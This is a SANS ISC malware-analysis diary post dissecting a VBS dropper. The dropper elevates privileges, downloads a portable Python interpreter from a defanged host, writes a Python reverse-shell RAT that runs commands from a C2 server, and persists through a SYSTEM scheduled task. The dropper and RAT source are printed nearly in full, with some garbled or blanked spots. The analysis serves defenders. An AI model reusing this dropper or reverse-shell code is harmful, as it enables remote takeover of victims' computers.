Threat Level: green Handler on Duty: Didier Stevens

SANS ISC: InfoSec Handlers Diary Blog - SANS Internet Storm Center InfoSec Handlers Diary Blog

Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

No Python Interpreter? This Simple RAT Installs Its Own Copy

Published: 2021-04-09
Last Updated: 2021-04-09 06:26:38 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

For a while, I'm keeping an eye on malicious Python code targeting Windows environments[1][2]. If Python looks more and more popular, attackers are facing a major issue: Python is not installed by default on most Windows operating systems. Python is often available on developers, system/network administrators, or security teams. Like the proverb says: "You are never better served than by yourself", I found a simple Python backdoor that installs its own copy of the Python interpreter!

The backdoor is installed via a VBS script (SHA256:eda050c767cb65150b1f4c8a4307c15baf5aebf211367191aaf7ede3aee823d5) has a VT score of 11/58[3]. I don't know how it is delivered and executed on the target computer but, it is light and easy to read. Here is a full copy:

 1    If Not WScript.Arguments.Named.Exists("elevate") Then
 2      CreateObject("Shell.Application").ShellExecute WScript.FullName _
 3        , """" & WScript.ScriptFullName & """ /elevate", "", "runas", 1
 4      WScript.Quit
 5    End If
 6    Set objFSO=CreateObject("Scripting.FileSystemObject")
 7    If objFSO.FileExists("C:\Program Files\Windows socket\socket.bat") then
 8    WScript.Quit 1
 9    End If
10    Set oShell = WScript.CreateObject ("WScript.Shell")
11 "cmd /c mkdir C:\""Program Files""\python389", 0
12 "cmd /c mkdir C:\""Program Files""\""Windows socket""", 0
13    WScript.Sleep 1200
14 "powershell -c ""(New-Object System.NET.Webclient).DownloadFile('hxxp://friz[.]ga/payloads/','C:\Program Files\python389\');""", 0, 1
15    set objShell = CreateObject("Shell.Application")
16    set FilesInZip=objShell.NameSpace("C:\Program Files\python389\").items
17    objShell.NameSpace("C:\Program Files\python389").CopyHere(FilesInZip)
18    Set objFSO=CreateObject("Scripting.FileSystemObject")
19    outBat="c:\Program Files\Windows socket\socket.bat"
20    Set objSocket = objFSO.CreateTextFile(outBat,True)
21    objSocket.WriteLine "C:\""Program Files""\python389\python.exe ""C:\Program Files\Windows socket\"""
22    outPython="c:\Program Files\Windows socket\"
23    Set objPython = objFSO.CreateTextFile(outPython,True)
24    objPython.WriteLine "import socket"
25    objPython.WriteLine "import os"
26    objPython.WriteLine "import subprocess"
27    objPython.WriteLine "sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)"
28    objPython.WriteLine "sock.connect(('', 7676))"
29    objPython.WriteLine "sock.send(b'c\\r\\n')"
30    objPython.WriteLine ""
31    objPython.WriteLine "while 1:"
32    objPython.WriteLine "    output = ''"
33    objPython.WriteLine "    data = sock.recv(1024)"
34    objPython.WriteLine "    msg = data.decode('UTF-8')"
35    objPython.WriteLine "    print(msg)"
36    objPython.WriteLine "    try:"
37    objPython.WriteLine "        output = subprocess.check_output(['cmd.exe', f'/c {msg}']) "
38    objPython.WriteLine "        print(output)   "
39    objPython.WriteLine "    except subprocess.CalledProcessError as err:"
40    objPython.WriteLine "        print(err)"
41    objPython.WriteLine "    #sock.send(bytes(output, 'utf-8'))"
42    objPython.WriteLine ""
43    objPython.WriteLine "    try:"
44    objPython.WriteLine "        sock.send(output)"
45    objPython.WriteLine "    except:"
46    objPython.WriteLine "        pass"
47    objPython.WriteLine "  "
48    objPython.WriteLine ""
49    objPython.WriteLine "    if not data:"
50    objPython.WriteLine "        pass"
51    objPython.WriteLine "        #sock.send(b'\n')"
52    objPython.WriteLine "    "
53    objPython.WriteLine ""
54    objPython.WriteLine "conn.close"
55 "schtasks /create /F /ru ""SYSTEM"" /sc onlogon /tn WinSocket /rl highest /tr ""\""C:\Program Files\Windows socket\socket.bat""\"" ", 0
56 "schtasks /run /I /TN WinSocket", 0

First, the script tries to elevate its privileges (lines 1-5) with a common technique. Files will be dropped in two directories (lines 11-12). A Python environment is downloaded and extracted in C:\Program Files\python389 (lines 14-17). A batch file is created (lines 19-21) to execute the RAT ("C:\Program Files\python389\python.exe" "C:\Program Files\Windows socket\"). Finally, the RAT is created (lines 22-54). Here is a cleaner code:

import socket
import os
import subprocess
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('friz[.]ga', 7676))
while 1:
    output = ''
    data = sock.recv(1024)
    msg = data.decode('UTF-8')
        output = subprocess.check_output(['cmd.exe', f'/c {msg}']) 
        print(output)   "
    except subprocess.CalledProcessError as err:
    #sock.send(bytes(output, 'utf-8'))


    if not data:

The script is easy to understand, it connects to the C2 (friz[.]ga:7676) and expects some commands. They are executed and the result is sent back.

Finally, persistence is achieved through the creation of a scheduled task (lines 55-56).

This technique may look pretty invasive because a Python environment requires the installation of many files but the archive dropped by this script is the "embeddable package"[4] that contains the minimum set of files (SHA256:6d9a18cee86819d86442fc67d4ffe9fd5819cbaedd350b4c92b84160bd1acd48):

remnux@remnux:/MalwareZoo/20210409$ unzip -t 
    testing: python.exe               OK
    testing: pythonw.exe              OK
    testing: python38.dll             OK
    testing: python3.dll              OK
    testing: vcruntime140.dll         OK
    testing: vcruntime140_1.dll       OK
    testing: LICENSE.txt              OK
    testing: pyexpat.pyd              OK
    testing: select.pyd               OK
    testing: unicodedata.pyd          OK
    testing: winsound.pyd             OK
    testing: _asyncio.pyd             OK
    testing: _bz2.pyd                 OK
    testing: _ctypes.pyd              OK
    testing: _decimal.pyd             OK
    testing: _elementtree.pyd         OK
    testing: _hashlib.pyd             OK
    testing: _lzma.pyd                OK
    testing: _msi.pyd                 OK
    testing: _multiprocessing.pyd     OK
    testing: _overlapped.pyd          OK
    testing: _queue.pyd               OK
    testing: _socket.pyd              OK
    testing: _sqlite3.pyd             OK
    testing: _ssl.pyd                 OK
    testing: libcrypto-1_1.dll        OK
    testing: libffi-7.dll             OK
    testing: libssl-1_1.dll           OK
    testing: sqlite3.dll              OK
    testing:             OK
    testing: python38._pth            OK
    testing:               OK
No errors detected in compressed data of


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

0 comment(s)
Diary Archives